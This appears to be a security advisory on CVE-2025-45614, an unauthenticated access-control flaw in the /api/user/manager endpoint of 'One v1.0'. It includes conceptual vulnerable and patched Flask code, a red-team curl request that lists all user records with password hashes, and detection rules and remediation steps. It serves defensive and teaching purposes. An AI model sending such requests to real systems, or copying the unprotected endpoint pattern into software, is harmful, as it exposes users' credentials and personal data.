CVE-2025-45614

Executive Summary

CVE-2025-45614 is a critical access control vulnerability in the /api/user/manager endpoint of One v1.0. The flaw allows unauthenticated attackers to bypass authorization checks and access sensitive user management data, including potentially user credentials, roles, and personal identifiable information (PII). The vulnerability stems from missing or insufficient access control checks on the server-side API handler. Given the lack of a patch and the public nature of the proof-of-concept, this vulnerability poses a high risk to any deployment of One v1.0. Immediate mitigation steps are required.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) and does not involve a supply chain component. The risk is confined to the application's own API implementation.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, based on the description and impact, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Sensitive user data is exposed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Estimated CVSS Score: 7.5 (High)

Threat Level: High. The vulnerability is trivial to exploit and exposes sensitive data.

Deep Dive & Mechanics

The vulnerability exists in the /api/user/manager endpoint of the One application (v1.0). This endpoint is designed to provide administrative access to user management functions, such as listing users, viewing profiles, and modifying roles. The flaw is an Incorrect Access Control (CWE-284).

Root Cause: The server-side code for the /api/user/manager endpoint does not properly validate the user's session or authentication token before processing the request. It likely relies on client-side checks or assumes that only authenticated administrators will access the endpoint. An attacker can craft a direct HTTP request to this endpoint without any valid session cookie or authorization header.

Attack Vector:

1. The attacker identifies a target running One v1.0.
2. The attacker sends a crafted HTTP GET or POST request to http://target.com/api/user/manager with a malicious payload (e.g., a JSON object containing {"action":"listAll"} or similar).
3. The server processes the request without verifying the attacker's identity, returning sensitive user data in the response.

Impact: Full disclosure of all user accounts, including usernames, email addresses, hashed passwords, roles, and other profile data. This can lead to account takeover, privilege escalation, and further lateral movement within the application.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual - Python/Flask):

@app.route('/api/user/manager', methods=['GET', 'POST'])
def user_manager():
    # VULNERABLE: No authentication check
    data = request.get_json()
    action = data.get('action')
    if action == 'listAll':
        users = db.query("SELECT * FROM users")
        return jsonify(users)
    # ... other actions

Patched Code (Conceptual):

@app.route('/api/user/manager', methods=['GET', 'POST'])
@require_admin_auth  # Decorator that checks for valid admin session
def user_manager():
    # Now safe: only authenticated admins reach this code
    data = request.get_json()
    action = data.get('action')
    if action == 'listAll':
        users = db.query("SELECT * FROM users")
        return jsonify(users)
    # ... other actions

The fix involves adding a server-side authentication and authorization check (e.g., a decorator or middleware) that validates the user's session token and ensures they have the admin role before processing the request.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a local instance of One v1.0 (e.g., using Docker: docker run -p 8080:80 one/one:1.0).
2. Ensure the application is running and accessible at http://localhost:8080.

Exploitation Steps:

1. Reconnaissance: Use a tool like curl or Burp Suite to probe the endpoint.
2. Craft Payload: Create a JSON payload that triggers data retrieval. For example:

   {"action": "listAll", "format": "json"}
   

3. Send Request: Execute the following curl command:

   curl -X POST http://localhost:8080/api/user/manager \
     -H "Content-Type: application/json" \
     -d '{"action":"listAll","format":"json"}'
   

4. Extract Data: The server will respond with a JSON array of all user objects, including sensitive fields.

Expected Output (Example):

[
  {
    "id": 1,
    "username": "admin",
    "email": "admin@example.com",
    "password_hash": "$2y$10$...",
    "role": "admin"
  },
  {
    "id": 2,
    "username": "user1",
    "email": "user1@example.com",
    "password_hash": "$2y$10$...",
    "role": "user"
  }
]

Blue Team (Defensive)

Detection & Response:

1. Monitor API Access Logs: Look for requests to /api/user/manager from IP addresses that are not in the trusted admin network range.
2. Anomaly Detection: Alert on any request to /api/user/manager that does not include a valid session cookie (sessionid or Authorization header).
3. Rate Limiting: Implement strict rate limiting on the /api/user/manager endpoint to slow down brute-force or scraping attempts.
4. Web Application Firewall (WAF): Create a rule to block requests to /api/user/manager that do not contain a valid authentication token.
5. Immediate Mitigation: If patching is not possible, disable the endpoint entirely by removing or renaming the route in the application code, or block it at the reverse proxy level (e.g., Nginx, Apache).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/user/manager with methods GET or POST.
  • Requests containing JSON payloads with keys like action, listAll, format.
  • Responses containing arrays of user objects with fields username, email, password_hash, role.
• File IOCs:
  • Unusual log entries in the application's access log showing repeated hits to /api/user/manager from a single IP.
• Behavioral IOCs:
  • Sudden increase in failed login attempts (if attackers use extracted credentials).
  • Unauthorized changes to user roles or permissions.

Detection Engineering

YARA Rule

rule CVE_2025_45614_One_Access_Control {
    meta:
        description = "Detects exploitation attempts of CVE-2025-45614 in One v1.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-45614"
    strings:
        $endpoint = "/api/user/manager"
        $payload1 = "listAll"
        $payload2 = "format"
        $sensitive_field = "password_hash"
    condition:
        $endpoint and ($payload1 or $payload2) and $sensitive_field
}

Sigma Rule

title: CVE-2025-45614 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable /api/user/manager endpoint in One v1.0
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-stem: "/api/user/manager"
        cs-method: 
            - "GET"
            - "POST"
    condition: selection
falsepositives:
    - Legitimate admin activity (if authentication is properly enforced)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-45614 - One v1.0 /api/user/manager Access Control Bypass"; flow:to_server; content:"/api/user/manager"; http_uri; content:"listAll"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Endpoint: If possible, remove or disable the /api/user/manager route in the application code. This is the most effective short-term fix.
2. Implement Authentication: Add server-side authentication checks to the endpoint. Ensure that only users with a valid session and the admin role can access it.
3. Apply Input Validation: Validate all input parameters to prevent injection attacks.
4. Upgrade: Monitor the vendor (One) for an official patch. If a patched version (e.g., v1.0.1) is released, upgrade immediately.

Long-Term Measures:

1. Security Audit: Conduct a full security audit of all API endpoints to identify similar access control issues.
2. Implement RBAC: Use a robust Role-Based Access Control (RBAC) framework.
3. Web Application Firewall: Deploy a WAF with custom rules to block unauthenticated requests to sensitive endpoints.
4. Logging & Monitoring: Enable detailed logging for all API requests and set up alerts for suspicious activity.

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